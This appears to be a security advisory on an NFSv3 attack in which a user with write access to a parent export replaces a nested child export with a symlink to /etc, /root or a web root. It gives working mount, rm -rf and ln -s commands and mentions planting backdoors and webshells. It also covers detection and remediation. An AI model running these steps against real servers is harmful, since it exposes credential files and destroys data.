Skip to content

F-4.4: Nested Export Symlink Replacement Attack

Classification

  • Severity: High
  • CVSS Vector: Network / Medium Complexity / Low Privileges
  • Affected Versions: NFSv3 on Linux
  • Configuration: Parent export accessible with write permissions; child export exists as subdirectory
  • Prerequisite: Write access to parent export; nested export structure

Summary

When NFS exports are nested (a child directory is exported separately within a parent export), an attacker with write access to the parent export can delete the child export's mount point directory and replace it with a symlink pointing to any location on the server's filesystem. If the server follows the symlink, the attacker gains access to arbitrary directories outside the intended export scope.

Technical detail

Nested export configuration

# /etc/exports - nested exports
/srv/data         *(rw,no_subtree_check)
/srv/data/public  *(ro,no_subtree_check)

In this configuration: - /srv/data is the parent export (read-write) - /srv/data/public is a child export (read-only) - public is a regular directory inside /srv/data

The attack

An attacker with write access to /srv/data can:

  1. Remove the public directory (or rename it)
  2. Create a symlink: public -> /etc (or any target directory)
  3. Clients mounting /srv/data/public now access /etc through the symlink

Why this works

  • The parent export has rw permissions
  • The child export's directory is just a regular directory within the parent
  • NFS follows symlinks by default
  • no_subtree_check (default) doesn't validate paths within exports

Conditions for exploitation

  1. Write access to parent export: Either as a non-root user who owns the directory, or with no_root_squash
  2. Child directory is removable: Attacker has write permission on the parent directory
  3. Server follows symlinks: Default behavior (most configurations)
  4. No bind mount isolation: If the child export uses a bind mount of a separate filesystem, the symlink attack still works on the parent's filesystem

Exploitation

Step 1: Verify nested structure

showmount -e target
# /srv/data         *
# /srv/data/public  *

Step 2: Mount parent export

mount -t nfs -o vers=3 target:/srv/data /mnt/parent

# Remove the child directory (requires write + execute on parent)
rm -rf /mnt/parent/public

# Create symlink to sensitive location
ln -s /etc /mnt/parent/public
# Or: ln -s / /mnt/parent/public  (entire filesystem!)
# Or: ln -s /root /mnt/parent/public

Step 4: Access through child export

# Other clients (or the attacker) mounting the child export now get /etc
mount -t nfs target:/srv/data/public /mnt/child
ls /mnt/child/
# shadow  passwd  hosts  sudoers  ssh/  ...

Alternative: Redirect to writable location

# Point to a world-writable tmp dir for planting backdoors
ln -s /tmp /mnt/parent/public

# Or point to web root for webshell deployment
ln -s /var/www/html /mnt/parent/public

Impact

  • Arbitrary filesystem traversal: Access any directory the NFS server process can read
  • Breaks export isolation: Child export's separate permissions become meaningless
  • Data exposure: Redirect to sensitive directories (/etc, /root, /home)
  • Write access escalation: If the symlink target is writable by NFS server process
  • Affects all clients: Every client mounting the child export gets redirected

Detection

  • Monitor for symlink creation in export directories: 
    inotifywait -m -r -e create,delete /srv/data/
  • Check for symlinks where directories are expected: 
    find /srv/data -maxdepth 1 -type l
  • File integrity monitoring on export root directories

Remediation

  1. Avoid nested exports entirely — use separate filesystems: 

    # Instead of:
# /srv/data         *(rw)
# /srv/data/public  *(ro)

# Use:
# /srv/data         *(rw)
# /srv/public       *(ro)   # Separate filesystem

  2. Use bind mounts with separate filesystems (with caveats — they don't isolate without subtree_check): 

    mount --bind /srv/separate_fs /srv/data/public

  3. Make child directory immutable: 

    chattr +i /srv/data/public  # Prevents deletion/rename

  4. Enable subtree_check on nested exports (performance impact): 

    /srv/data/public  *(ro,subtree_check)

  5. Restrict write access on parent export to prevent directory manipulation: 

    # Set parent directory ownership to prevent user removal of child
chown root:root /srv/data
chmod 755 /srv/data  # Users can't delete 'public'

  6. Mount server-side with nosymfollow (if kernel supports it, 5.10+): 

    mount -o nosymfollow /dev/sda1 /srv/data